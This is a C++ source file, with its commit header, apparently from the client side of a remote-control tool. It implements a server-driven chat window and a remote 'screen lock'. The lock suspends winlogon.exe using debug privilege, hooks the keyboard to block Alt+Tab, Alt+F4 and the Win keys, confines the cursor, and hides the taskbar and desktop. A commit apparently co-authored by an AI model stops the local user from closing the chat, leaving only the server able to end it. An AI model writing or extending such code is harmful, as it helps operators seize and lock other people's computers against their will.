Files
yuanyuanxianganddeepseek-v4-pro ca6f76565c Change: Hide client chat dialog on close instead of terminating
Closing the client-side chat dialog (via the "end chat" button or the title-bar
X) now only hides the window and keeps the session alive, instead of destroying
it. Closing the chat stays server-initiated: the next message from the server
reopens the hidden dialog via the existing SW_RESTORE path in OnReceive, and the
dialog is only truly destroyed on COMMAND_CHAT_CLOSE or connection close.

Co-Authored-By: deepseek-v4-pro
2026-10-10 14:39:34 +02:00

340 lines
12 KiB
C++

// ChatManager.cpp: implementation of the CChatManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ChatManager.h"
#include "Common.h"
#include "resource.h"
#include <TlHelp32.h>
#if ENABLE_MESSAGE
// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。
// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。
#define SE_DEBUG_PRIVILEGE 20
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
struct PIDWNDINFO {
DWORD dwProcessId;
HWND hWnd;
};
// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例)
static HANDLE g_hProcess = NULL;
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
static HHOOK g_hKeyBoard = NULL;
static int g_nLocked = 0;
static DWORD GetWinlogonPid()
{
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
BOOL rtn = Process32First(snap, &pEntry);
while (rtn) {
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
CloseHandle(snap);
return pEntry.th32ProcessID;
}
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
rtn = Process32Next(snap, &pEntry);
}
CloseHandle(snap);
return 0;
}
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
switch (wParam) {
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
case WM_KEYUP:
case WM_SYSKEYUP:
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|| (p->vkCode == VK_LWIN)
|| (p->vkCode == VK_RWIN)) {
return 1;
}
break;
}
}
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
}
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
ShowWindow(hWnd, SW_MINIMIZE);
return TRUE;
}
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
pInfo->hWnd = hWnd;
return FALSE;
}
return TRUE;
}
// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环)
static void ChatSetHook()
{
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
HMODULE hMod = LoadLibrary("ntdll");
if (hMod) {
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
DWORD pid = GetWinlogonPid();
BOOLEAN dummy = 0;
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
}
}
static void ChatUnSetHook()
{
if (g_hKeyBoard) {
UnhookWindowsHookEx(g_hKeyBoard);
g_hKeyBoard = NULL;
}
if (g_lpfnNtResumeProcess && g_hProcess) {
g_lpfnNtResumeProcess(g_hProcess);
}
if (g_hProcess) {
CloseHandle(g_hProcess);
g_hProcess = NULL;
}
g_lpfnNtResumeProcess = NULL;
}
// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon
static void UnlockScreen()
{
ChatUnSetHook();
ClipCursor(NULL);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
g_nLocked = 0;
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
m_hInstance = HINSTANCE(user);
m_hWnd = NULL;
m_bRun = TRUE;
g_nLocked = 0;
// 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
BYTE bToken = TOKEN_CHAT_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen();
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
Mprintf("Chat 构造\n");
}
CChatManager::~CChatManager()
{
m_bRun = FALSE;
while (m_hThread)
Sleep(100);
if (g_nLocked == 1) {
UnlockScreen();
}
if (m_hWnd) {
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
}
Mprintf("Chat 析构\n");
}
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
{
CChatManager* pThis = (CChatManager*)lParam;
HANDLE& hThread(pThis->m_hThread);
pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL,
CChatManager::ChatDialogProc, (LPARAM)pThis);
if (pThis->m_hWnd) {
SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
// 移除最小化/最大化按钮
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) {
if (!IsDialogMessage(pThis->m_hWnd, &msg)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
CloseHandle(hThread);
hThread = NULL;
return 0;
}
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
switch (uMsg) {
case WM_INITDIALOG:
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
pThis = (CChatManager*)lParam;
SetWindowText(hDlg, "远程交谈");
SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息");
SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈");
{
HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
if (hIcon) {
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
}
}
return TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
char str[4096] = { 0 };
GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str));
if (str[0] == 0) {
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
return TRUE; // 消息为空不发送
}
pThis->Send((LPBYTE)str, lstrlenA(str) + 1);
SYSTEMTIME st;
GetLocalTime(&st);
char Text[5120] = { 0 };
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "自己:",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
int nLen = GetWindowTextLength(hEditChatLog);
if (nLen >= 20000) {
SetWindowText(hEditChatLog, "");
nLen = GetWindowTextLength(hEditChatLog);
}
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, "");
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
return TRUE;
}
if (LOWORD(wParam) == IDC_BUTTON_END) {
// 被控端关闭聊天窗口:仅隐藏对话框,会话保持。关闭交谈始终由服务端发起,
// 服务端继续发消息时 OnReceive 会用 SW_RESTORE 重新弹出本对话框。
ShowWindow(hDlg, SW_HIDE);
return TRUE;
}
break;
case WM_CLOSE:
// X 关闭按钮:仅隐藏对话框(与「结束交谈」一致),关闭交谈始终由服务端发起
ShowWindow(hDlg, SW_HIDE);
return TRUE;
case WM_USER + 1:
pThis->m_hWnd = NULL;
DestroyWindow(hDlg);
return TRUE;
case WM_USER + 2:
ChatSetHook();
return TRUE;
case WM_DESTROY:
PostQuitMessage(0);
return TRUE;
default:
break;
}
return FALSE;
}
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer[0] == TOKEN_HEARTBEAT) return;
if (ulLength == 1) {
switch (szBuffer[0]) {
case COMMAND_NEXT_CHAT:
NotifyDialogIsOpen();
return;
case COMMAND_CHAT_CLOSE:
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
return;
case COMMAND_CHAT_SCREEN_LOCK:
NotifyDialogIsOpen();
if (m_hWnd && g_nLocked == 0) {
ShowWindow(m_hWnd, SW_RESTORE);
RECT rct = { 0 };
GetWindowRect(m_hWnd, &rct);
ClipCursor(&rct);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
PIDWNDINFO pwi = { 0 };
pwi.dwProcessId = 0;
pwi.hWnd = m_hWnd;
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
g_nLocked = 1;
}
return;
case COMMAND_CHAT_SCREEN_UNLOCK:
if (g_nLocked == 1) {
UnlockScreen();
}
return;
default:
break;
}
}
// 收到服务端发来的聊天文本
SYSTEMTIME st;
GetLocalTime(&st);
char Text[8192] = { 0 };
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "对方:",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer);
if (m_hWnd) {
HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
int nLen = GetWindowTextLength(hEditChatLog);
if (nLen >= 20000) {
SetWindowText(hEditChatLog, "");
nLen = GetWindowTextLength(hEditChatLog);
}
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
ShowWindow(m_hWnd, SW_RESTORE);
}
}
#endif